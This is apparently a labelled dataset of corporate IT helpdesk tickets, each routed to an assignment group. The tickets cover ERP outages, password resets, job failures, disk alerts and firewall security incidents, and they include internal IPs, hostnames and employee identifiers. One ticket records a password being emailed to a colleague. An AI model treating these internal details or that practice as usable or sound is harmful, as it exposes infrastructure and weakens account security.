thanking you\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: interface down ::usa switch :: bottom-6509-msfc720 switch since 8/17/2016 11:46 pm est, Description: interface down ::bottom-6509-msfc720 switch since 8/17/2016 11:46 pm est\_x000D\_
\_x000D\_
switch description:\_x000D\_
\_x000D\_
gigabitethernet4/14 Â· infoblox trinzic 1420 dns node 2 ha 10.32.1.10 / vip 10.32.1.11, is assigned to Assignment group: GRP\_4.Ticket with Short description: reset passwords for ezrsdgfc hofgvwel using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: reset passwords for ezrsdgfc hofgvwel using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: abended job in job\_scheduler: Job\_1141, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1141 at 08/17/16 23:45:30, is assigned to Assignment group: GRP\_9.Ticket with Short description: printer setup, Description: help to install the network printer on the laptop, is assigned to Assignment group: GRP\_19.Ticket with Short description: telephony\_software è½¯ä»¶å‡çº§åŽ, æ‰“å°æ–‡ä»¶æ—¶-prtpu07 æ‰“å°æœºæç¤ºé”™è¯¯ã€‚, Description: telephony\_software è½¯ä»¶å‡çº§åŽ, æ‰“å°æ–‡ä»¶æ—¶-prtpu07 æ‰“å°æœºæç¤ºé”™è¯¯ï¼Œæ— æ³•æ‰“å°åˆ°æ‰“å°æœºã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: account locked in erp SID\_34, Description: account locked in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: inquiry for adding digital signature in pdf, Description: inquiry for adding digital signature in pdf, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to sign in to skype, Description: unable to sign in to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to launch business\_client, getting microsoft.net error, Description: unable to launch business\_client, getting microsoft.net error, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1045: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%)., Description: HostName\_1045: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%). out of total size 100.0 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: HostName\_973: total cpu is now 100.00%, which is above the error threshold (99%), Description: HostName\_973: average (5 samples) total cpu is now 100.00%, which is above the error threshold (99%), is assigned to Assignment group: GRP\_12.Ticket with Short description: lhqsm518: hrsync sync failed! no sync detected in the last 24 hours...please investigate, Description: lhqsm518: hrsync sync failed! no sync detected in the last 24 hours...please investigate, is assigned to Assignment group: GRP\_12.Ticket with Short description: email contacts issue, Description: email contacts issue\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-deleted the ms crm and reconfigured the mscrm.\_x000D\_
-restarted the pc and reconfigured the outlook.\_x000D\_
-caller confirmed that he is now able to see the emails on outlook.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: dell 7350: monitor display issue., Description: dell 7350: monitor display issue., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1852, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1852 at 08/17/16 17:18:31, is assigned to Assignment group: GRP\_8.Ticket with Short description: ess problems - expense report, Description: \_x000D\_
\_x000D\_
received from: jnqmvard.jiazxvcl@gmail.com\_x000D\_
\_x000D\_
i am trying to do my expense report thru ess and it's not working, a blank screen pop up after i click oon the expense report link\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot receive calls through telephony\_software. the call comes through, and rings one time, then goes to warehouse\_toolmail. i closed telephony\_software and, Description: name:tfgtodd panelfgt
language:
browser:microsoft internet explorer
email:lwbchnga.axpqctfr@gmail.com
customer number:
telephone:803
summary:hello. i cannot receive calls through telephony\_software. the call comes through, and rings one time, then goes to warehouse\_toolmail. i closed telephony\_software and rebooted my phone, and it is still doing this., is assigned to Assignment group: GRP\_7.Ticket with Short description: please reset your security to the collaboration\_platform lagp area, Description: please reset your security to the collaboration\_platform lagp area, is assigned to Assignment group: GRP\_16.Ticket with Short description: cannot see receipts for travel reimbursement, Description: the link to see receipts and reimbursement form submitted by team member is broken in mss., is assigned to Assignment group: GRP\_0.Ticket with Short description: i need access to netweaver drawings. i also need erp access for nxd type drawings. i am being denied access in erp , Description: unable to access drawings in erp. need access to net weaver, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( in33426117 ) : correlation rule triggered: icmp ping failure, Description: related events: \_x000D\_
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
event id: 80657337\_x000D\_
event summary: [hw] service icmp/icmp is down\_x000D\_
source ip: 10.44.86.12\_x000D\_
source hostname: ap-f5\_x000D\_
destination hostname: \_x000D\_
device ip: 10.44.86.12\_x000D\_
device name: ap-f5.company.com\_x000D\_
event extra data:\_x000D\_
inspectorruleid = 2132464\_x000D\_
sherlockruleid = 566281\_x000D\_
ileatdatacenter = true\_x000D\_
srchostname = ap-f5\_x000D\_
foreseemaliciouscomment = null or empty model found;evaluationmodels->808333:0.5001:0.0061|ngm:0.9619:0.0008;\_x000D\_
foreseeinternalip = 10.44.86.12\_x000D\_
irreceivedtime = 1469623856316\_x000D\_
foreseeconndirection = internal\_x000D\_
inspectoreventid = 860011815\_x000D\_
\_x000D\_
\_x000D\_
occurrence count: 1\_x000D\_
event count: 1\_x000D\_
\_x000D\_
event detail:\_x000D\_
from 46.45.62.5144 for device 10.44.86.12 summary: service icmp/icmp is down\_x000D\_
detail: service check failed! (100% failures)\_x000D\_
(icmp-echo) unable to ping 10.44.86.12, is assigned to Assignment group: GRP\_2.Ticket with Short description: need to get the expense reports direct deposited as well?, Description: ic
welcome, our next available agent will be with you shortly...
interaction alerting agent.
website visitor has joined the conversation
rakthyesh ramdntythanjesh
hi kylfgte
kylfgte
hello!
how are you today?
rakthyesh ramdntythanjesh
i am doing great, how about you
kylfgte
good , is assigned to Assignment group: GRP\_52.Ticket with Short description: erp SID\_34 password locked, Description: erp SID\_34 password locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: security incidents - ( #in33417637 ) : repeat outbound connection for 135/tcp from 10.16.143.221, Description: source ip :10.16.143.221
destination ip: 31.199.53.9
system name :edml8111119
user name: ptczqbdw ybaoluck(dalgtylam)
location :milano ds
sep , sms status :no updates
field sales user ( yes / no) : no
dsw event log:see below
----------------------------------------------------------------
=========================
event data
=========================
related events:
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
event id: 70619902
event summary: repeat outbound connection for 135/tcp
log time: 2016-07-26 at 15:46:55
source ip: 10.16.143.221
source hostname: edml8111119
destination ip: 31.199.53.9
destination hostname: host9-53-static.199-31-b.business.telecomitalia.it.
device ip: 80.71.06.702
device name: company-european-asa.company.com-1
event extra data:
inspectorruleid = 186739
cvss = -1
sherlockruleid = 237526
ctainstanceid = 0
irreceivedtime = 1469548921441
inspectoreventid = 619150866
eventtypepriority = 1
foreseeinternalip = 10.16.143.221
logtimestamp = 2570659126
foreseeconndirection = outgoing
srcassetofinterest = 267
foreseeexternalip = 31.199.53.9
ontologyid = 200020003203009162
srchostname = edml8111119
eventtypeid = 200020003203009062
proto = tcp
dstport = 135
action = blocked
ileatdatacenter = true
foreseemaliciouscomment = null or empty model found;evaluationmodels->808333:0.0038:0.0061|ngm:0.0055:0.0061;
foreseedstipgeo = rome,ita
agentid = 103761
srcmacaddress = 0a:f5:9a:d1:3d:17:00:00:00:00:00:00:00:00:00:00
srcport = 65364
occurrence count: 177
event count: 1
event detail:
jul 26 15:46:55 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.143.221/65364 dst noris:31.199.53.9/135 by access-group "acl\_inside" [0xed29b7f9, 0x0]
[correlation\_data]
jul 26 05:17:23 60.43.89.120 dhcpd[12402]: dhcpack on 10.16.143.221 to 0a:f5:9a:d1:3d:17:00:00:00:00:00:00:00:00:00:00 (edml8111119) via eth2 relay 10.16.4.26 lease-duration 28800, is assigned to Assignment group: GRP\_69.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: our server is getting full again. i have found 27g that i can erase, but that won't last too long. can you help?, Description: name:schtrtgoyht
language:
browser:microsoft internet explorer
email:shpnkgir.mpsycbxl@gmail.com
customer number:
telephone: ext 2335
summary:our server is getting full again. i have found 27g that i can erase, but that won't last too long. can you help?
server : ldsm003, is assigned to Assignment group: GRP\_12.Ticket with Short description: can't open outlook, Description: can't open outlook , i had same issues earlier this week , is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_108: disk free on c:\ is now 15%, which is below the warning threshold (15%) out of total size 80.0 gb, Description: HostName\_108: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%) out of total size 80.0 gb, is assigned to Assignment group: GRP\_12.Ticket with Short description: it assistance. need access usaed to collaboration\_platform lagp link., Description: \_x000D\_
\_x000D\_
received from: mgcivbtx.bshmfxya@gmail.com\_x000D\_
\_x000D\_
it,\_x000D\_
\_x000D\_
i currently cannot access the lagp form (hyperlink) in collaboration\_platform. suomfxpj izcwuvgo stated i need to contact it for usaed access.\_x000D\_
\_x000D\_
i clickâ€¦\_x000D\_
\_x000D\_
\_x000D\_
and receiveâ€¦\_x000D\_
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\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: blade chassis HostName\_1170 (ip 79.40.48.896) is reporting "non critical" hardware issues. , Description: hi team, \_x000D\_
\_x000D\_
with the new functionality and features that monitoring\_tool provides us, we have started monitorixepyfbga wtqdyoinware sensors. we started receiving alerts for the HostName\_1170 blade chassis (79.40.48.896). the iom sensor and in turn the chassis is reporting some "non critical" alerts. could you please investigate and advise? \_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: blade chassis HostName\_1170 (ip 79.40.48.896) reporting "non critical" hardware issues., Description: blade chassis HostName\_1170 (ip 79.40.48.896) reporting "non critical" hardware issues.\_x000D\_
\_x000D\_
\_x000D\_
hi team, \_x000D\_
\_x000D\_
with the new functionality and features that monitoring\_tool provides us, we have started monitorixepyfbga wtqdyoinware sensors. we started receiving alerts for the HostName\_1170 blade chassis (79.40.48.896). the iom sensor and in turn the chassis is reporting some "non critical" alerts. could you please investigate and advise? \_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: abended job in job\_scheduler: archive\_idocs\_daily\_SID\_39, Description: received from: monitoring\_tool@company.com
abended job in job\_scheduler: archive\_idocs\_daily\_SID\_39 at 08/17/16 14:07:31, is assigned to Assignment group: GRP\_8.Ticket with Short description: symantec endpoint encryption (see) agent roll out - europe region - only sales pc's, Description:
received from: yqlvfkih.folbpugd@gmail.com
dear folks,
i would like to thank all the site administrators whoever took part in this see agent pilot uacyltoe hxgayczeing and helped us through giving the honest feedbacks on the installation behavior time to time. this overall helped us to complete the full-fledge uacyltoe hxgayczeing and promote this package to the production rollout .
we have planned to deploy the see agent on the enclosed list of sales pc's across europe starting from 19th aug 2016 and i would presume that the site admins of sales location are in acceptance of starting this deployment from the above mentioned date (since this particular time framdntye has been announced a month back by scot trask as global communication)
in regard to this see agent rollout, i would request you all to keep your respective location users informed about the deployment schedule, and also please ensure that all the users are familiar with the package installation steps (type of package, installation duration, importance of the package, mode of the installation, times of reboot and installation behavior) through referring the below details.
deployment date: - august 19th 2016 - friday
time: - 9.00 am in the morning (as per the respective location time zone)
deployment tool: - patching\_antivirus\_sw
package type: - prompted. user will be prompted with prior notification to save all the work before proceeding the installation through clicking the continue button.
duration: - 10 - 15 minutes
restart required: - yes (automatic restart after the installation of see agent)
package behavior: - please ask the sales users to go through the below provided bill bankrd and understand the importance of the package deployment .
[cid:image001.jpg@01d1f8c2.4c71b800]
we have uacyltoe hxgayczeed, validated and finalized the see agent deployment for our production environment.
if any of the pc's from our deployment target list is not associated to the sales pc or got replaced or removed from the network, please do let us know via providing the comment on the separate column of the same enclosed target list (crm sales pc - see europe targetlist\_64bit.xlsx & crm sales pc - see europe targetlist\_32bit.xlsx), will exclude those pc's completely from this deployment.
all vip and critical/machine pc's should be done manually by the respective it/site contact. for the manual installation, both site admin and the users must have the local admin privileges on the respective pc's to complete the see agent installation without any issue's.
please access the following server share for manual installation (user must be either on office lan or vpn network to access the server share as provided).
\\HostName\_497\see-agent-deploy<file://HostName\_497/see-agent-deploy>
( to install on windows 32 bit systems) - please execute the exe file which is under 32 bit folder of the above server share
( to install on windows 64 bit systems) - please execute the exe file which is under 64 bit folder of the above server share.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1379, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1379 at 08/17/16 13:47:30, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to restore pc from hibernation after reimage to 64 bit, Description: pc fails to restore from hibernation after re imaging to 64 bit os
after running on battery backup for 2 hours, the pc automatically goes into hibernation, causing massive data loss.
please treat this on priority
pc details
pc name: aidl8912264
windows os: windows 7 sp1 64 bit
ramdnty: 8 gb
contact # , is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to execute job\_scheduler jobs post client upgrades on HostName\_773,HostName\_1311,HostName\_1321 and HostName\_1319, Description: unable to execute job\_scheduler jobs post client upgrades on HostName\_773,HostName\_1311,HostName\_1321 and HostName\_1319, is assigned to Assignment group: GRP\_47.Ticket with Short description: i do not have access to ethics training module, Description: error message: welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration\_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp. , is assigned to Assignment group: GRP\_23.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for andrdgrtew p taneghrty using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: account is locked, Description: account is locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp consignment zkea issue with creating duplicate kb orders, Description: order 35867766 zkea was created and erp generated 2 fill orders, zkb orders. order 35867760 and 35867772. see screenshot in email attached. erp should have created only 1 fill kb order. customer receive duplicate fills and will be returning the product, is assigned to Assignment group: GRP\_13.Ticket with Short description: o drive missing in machine., Description: o drive missing, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to ess , Description: unable to log in to ess , is assigned to Assignment group: GRP\_0.Ticket with Short description: laptop damaged as it fell in flight , Description: from: prarthyr jha
sent: wednesday, august 17, 2016 4:40 pm
to: nwfodmhc exurcwkm
subject: amar fw: gt1z262- jhapg -issue
hi,
please refer attached photo ,laptop damaged due to fall in flight.
at present system in working condition, with no issues.
with repeated use hinges and seating might become problematic.
please help.
latitude 7350.
computer name - aiml9912338
user- jhapg
system id â€“ gt1z262
employee code â€“ 202467809
, is assigned to Assignment group: GRP\_19.Ticket with Short description: lhqsl909 and HostName\_899 needs to be added to the log on account for bdclient1 , Description: lhqsl909 and HostName\_899 needs to be added to the log on account for bdclient1
name:mikhghytr
language:
browser:microsoft internet explorer
email:ekjobdiz.ktelzwvg@gmail.com
customer number:
telephone:
summary:is there an active directory setting that allows an user id to access the company access points companysecure?
, is assigned to Assignment group: GRP\_34.Ticket with Short description: abended job in job\_scheduler: Job\_1387, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1387 at 08/17/16 11:27:32, is assigned to Assignment group: GRP\_9.Ticket with Short description: gwkdsmfx.ntorypsd@gmail.com password reset, Description: gwkdsmfx.ntorypsd@gmail.com password reset, is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with wlan in germany, germany for the attached device., Description: problem with wlan in germany, germany for the attached device. contact yevirgnl ylhogjct for further info.\_x000D\_
\_x000D\_
mac address: e8b7484d2f72, is assigned to Assignment group: GRP\_4.Ticket with Short description: usa - robot (server cabinet) pc lhnw8222138 is down since 10:37am on 08/17/16, Description: usa - robot (server cabinet) pc lhnw8222138 is down since 10:37am on 08/17/16, is assigned to Assignment group: GRP\_8.Ticket with Short description: re: erp SID\_34 access rights, Description:
received from: vipqmdse.zkaowfrx@gmail.com
approved ragini.
davidthd j wgtyills
vice president
vipqmdse.zkaowfrx@gmail.com<mailto:vipqmdse.zkaowfrx@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset - erp, Description: manually reset erp password as the password from the previous reset through password\_management\_tool did not work., is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation, Description: have a new phone, my exchange server is blocked. can you release it so that mail come in? , is assigned to Assignment group: GRP\_0.Ticket with Short description: problem with wlan in germany, germany for the attached device., Description: problem with wlan in germany, germany for the attached device. contact yevirgnl ylhogjct for further info., is assigned to Assignment group: GRP\_4.Ticket with Short description: outlook freezing while opeyctrhbkm plvnuxmrils, Description: outlook freezing while opeyctrhbkm plvnuxmrils, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp error mesg "order does not exist" when trying to run apo and create a delivery, Description: erp error mesg "order does not exist" when trying to run apo and create a delivery for order 35886433 and order 35922308 getting error mesg "value of modific. counter for doc. 1146033419 in supply\_chain is: 09, but should be :1" see attachments.\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: email access to mobile device., Description: email access to mobile device., is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_891 backup server offline/missing virtual drives, Description: physical backup server HostName\_891 is down.\_x000D\_
we found that physical disks 4 and 6 have failed(attached screenshot). \_x000D\_
HostName\_891 backup server offline/missing virtual drives.\_x000D\_
drac ip 29.60.76.431\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: 202 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName\_1089/10.2.1, Description: dsw in33627670\_x000D\_
\_x000D\_
incident overview\_x000D\_
=========================\_x000D\_
we have detected at least 202 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName\_1089/41.53.25.402 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:\_x000D\_
1. an infection on this host\_x000D\_
2. a misconfigured firewall\_x000D\_
3. a misconfigured host\_x000D\_
4. port scan (authorized or unauthorized), is assigned to Assignment group: GRP\_12.Ticket with Short description: chat transfer, Description: chat transfer, is assigned to Assignment group: GRP\_0.Ticket with Short description: update my erp favorites , Description: update my erp favorites , is assigned to Assignment group: GRP\_0.Ticket with Short description: company screensaver not on the computer , Description: company screensaver not on the computer , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to load webpage, Description: unable to load webpage, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1853, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1853 at 08/17/16 09:18:31, is assigned to Assignment group: GRP\_47.Ticket with Short description: abended job in job\_scheduler: Job\_1402, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1402 at 08/17/16 09:16:31, is assigned to Assignment group: GRP\_47.Ticket with Short description: abended job in job\_scheduler: Job\_1403, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1403 at 08/17/16 09:16:31, is assigned to Assignment group: GRP\_47.Ticket with Short description: abended job in job\_scheduler: Job\_1417, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1417 at 08/17/16 09:16:31, is assigned to Assignment group: GRP\_47.Ticket with Short description: unable to change quotation., Description: unable to change quotation., is assigned to Assignment group: GRP\_13.Ticket with Short description: kis bug fixes and corrections, Description: kis bug fixes and corrections , is assigned to Assignment group: GRP\_18.Ticket with Short description: unable to access ms dynamics crm companyprod environment, Description: error: insufficient access\_x000D\_
\_x000D\_
please check attached email for error screenshot and contact details.\_x000D\_
\_x000D\_
i believe licenses were recently provided.\_x000D\_
, is assigned to Assignment group: GRP\_22.Ticket with Short description: not able to login to windows., Description: not able to login to windows., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: we are unable to clear this inwarehouse\_tool from vfx3., Description: hello,\_x000D\_
\_x000D\_
can you please support here.\_x000D\_
\_x000D\_
we are unable to clear this inwarehouse\_tool from vfx3.\_x000D\_
\_x000D\_
we need help as this is a high value inwarehouse\_tool which we cannot clear.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: account unlock., Description: account unlock., is assigned to Assignment group: GRP\_0.Ticket with Short description: Ä± cant connect netviewer, Description: Ä± connected at vpn after Ä± saw main screen of netviewer.Ä± wrote usrr name and password after Ä± see error screen .Ä± attached this screen, is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1854, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1854 at 08/17/16 08:39:32, is assigned to Assignment group: GRP\_47.Ticket with Short description: abended job in job\_scheduler: hrp\_SID\_34\_chg\_point, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: hrp\_SID\_34\_chg\_point at 08/17/16 08:39:32, is assigned to Assignment group: GRP\_47.Ticket with Short description: erp SID\_34 access rights, Description:
received from: npvmwszt.gzcpejxv@gmail.com
dear global helpdesk team,
we wanted to request you for the access right for rfvchzmp picjthkd as same of the user "bagtylleg" zsluxctw ptirhcwv in erp logon SID\_34 system.
davidthd, can you kindly approve the request so that it can provide the access to stefdgthy.
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: material tax classifications zero, Description: \_x000D\_
\_x000D\_
received from: hpmwliog.kqtnfvrl@gmail.com\_x000D\_
\_x000D\_
please open an it ticket and assign to rzucjgvp ioqjgmah.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: email queries, Description: email queries, is assigned to Assignment group: GRP\_0.Ticket with Short description: no response on call, Description: no response on call, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset - ad, Description: cyndy emailed requesting for password reset for jose. \_x000D\_
emailed her the password., is assigned to Assignment group: GRP\_0.Ticket with Short description: mss access is missing, Description:
received from: omrsiqdv.iwhcpgoa@gmail.com
hi team,
my mss access is missing and i need to have the access for raising job requisition. please help to fix it.
[cid:image001.png@01d1f8c1.b68633c0]
tiffrtany tafgtyng
manager hr shared services, asia pacific
omrsiqdv.iwhcpgoa@gmail.com<mailto:omrsiqdv.iwhcpgoa@gmail.com>
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[
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to erp, Description: thomklmas contacted us during the outage when a core switch in the usa nvyjtmca xjhpznds went down.\_x000D\_
he was able to confirm access was restored once the switch came back up., is assigned to Assignment group: GRP\_0.Ticket with Short description: please delete calander meetings in kurtyar v1 (suzjhmfa swmiynoz) outlook, Description: please delete calendar meetings in kurtyar v1 (suzjhmfa swmiynoz) outlook. employee has left the company and request you to kindly delete following meetings from his calendar:\_x000D\_
aug 19, \_x000D\_
sep 09 & sep 30\_x000D\_
oct 21, \_x000D\_
nov 11, \_x000D\_
dec2 & dec23\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_26.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: no access to ethics training, Description: hello,\_x000D\_
\_x000D\_
i can't accede to my ethics training. my user is unrecognized. could you please check it? please see the attached screen\_x000D\_
, is assigned to Assignment group: GRP\_23.Ticket with Short description: outage - core swicth in usa dac went down, Description: colin was unable to access some sql databases. advised of the outage.\_x000D\_
he was able to confirm that issue was resolved once the core switch came back up., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is not opening., Description: outlook is not opening., is assigned to Assignment group: GRP\_0.Ticket with Short description: please unlock the SID\_78user at sar r/3, Description: \_x000D\_
\_x000D\_
received from: cbupnjzo.daflthkw@gmail.com\_x000D\_
\_x000D\_
please unlock the SID\_78user at sar r/3\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: new windows 7 pc lpgw8517786 cannot connect to the rfid reader via rs232 port, Description: new windows 7 pc lpgw8517786 cannot connect to the rfid reader via rs232 port, is assigned to Assignment group: GRP\_3.Ticket with Short description: zdsxmcwu thdjzolwronization issue , Description: zdsxmcwu thdjzolwronization issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte precimat nr.2468 freischalten, Description: bitte die maschine precimat 1 nr.2468 wieder freischalten.\_x000D\_
ja ,unter azm, is assigned to Assignment group: GRP\_25.Ticket with Short description: password reset to login to erp hcm to be able to use or apply jobs in company, Description: password reset to login to erp hcm to be able to use or apply jobs in company, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp is not working. error : log on balancing error., Description: inc1542327 : cert opened. \_x000D\_
work around , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp is not working. error : log on balancing error., Description: inc1542327 : cert opened. \_x000D\_
work around , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp is not working. error : log on balancing error., Description: inc1542327 : cert opened. \_x000D\_
work around , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: SID\_32arc2, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: SID\_32arc2 at 08/17/16 06:25:30, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp SID\_34 log out , Description: india cec are having issues with erp SID\_34 production, system is logging out automatically and happened more than 5 times as of now., is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_1142, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_1142 at 08/17/16 06:12:30, is assigned to Assignment group: GRP\_9.Ticket with Short description: reset the password for on erp / production / erp, Description: please reset password for SID\_78user, old erp 4,6, is locked now,\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: erp logon does not open, Description: \_x000D\_
\_x000D\_
received from: qjtbrvfy.avwqmhsp@gmail.com\_x000D\_
\_x000D\_
hello helpline,\_x000D\_
\_x000D\_
i need erp very urgent today, but cannot connect from my computerâ€¦\_x000D\_
[cid:image001.png@01d1f87e.5996d540]\_x000D\_
\_x000D\_
[cid:image002.png@01d1f87e.5996d540]\_x000D\_
\_x000D\_
the user itself is not blocked, i tried it from a colleagues pc.\_x000D\_
\_x000D\_
please advice.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp down , internet down in usa pa location , Description: erp down , internet down in usa pa location .
contact # : , is assigned to Assignment group: GRP\_0.Ticket with Short description: server down, Description: e00462 - error reading object details: the process has been canceled: error at execute transaction /dscsag/obj\_get\_multidetail2: connect to message server host failed
connection paramdntyeters: type=b dest=nogui mshost=SID\_34-db r3name=SID\_34 group=erp production pcs=1
phone : , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: Job\_3049, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: Job\_3049 at 08/17/16 05:48:31, is assigned to Assignment group: GRP\_8.Ticket with Short description: server probleme, Description: \_x000D\_
\_x000D\_
received from: jxlekivs.fwakmztv@gmail.com\_x000D\_
\_x000D\_
hallo,\_x000D\_
\_x000D\_
die server verbindung in lic ist gestÃ¶rt, es kann nicht in erp gebucht werden. kÃ¶nnen sie sich des problems annehmen, danke.\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 - system doesn't work - no production orders can be entered, Description: contact: +49-230877, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp is not working , Description: erp is not working , is assigned to Assignment group: GRP\_0.Ticket with Short description: no connection to the erp system, Description: hello,\_x000D\_
\_x000D\_
we have no connection to the erp system.\_x000D\_
\_x000D\_
no connection to the message server (rc = 9 )\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: connecting with erp not possible, Description: \_x000D\_
\_x000D\_
received from: yfmaqovp.wdonhbez@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
we need your help a.s.a.p.\_x000D\_
connecting with erp is not possible.\_x000D\_
we receive this error message.\_x000D\_
\_x000D\_
[cid:image001.png@01d1f87c.10671411]\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / best , is assigned to Assignment group: GRP\_0.Ticket with Short description: abended job in job\_scheduler: pp\_EU\_tool\_netch\_keheu1, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
abended job in job\_scheduler: pp\_EU\_tool\_netch\_keheu1 at 08/17/16 05:38:31, is assigned to Assignment group: GRP\_8.Ticket with Short description: erp not working : erp outage., Description: erp not working : erp outage.
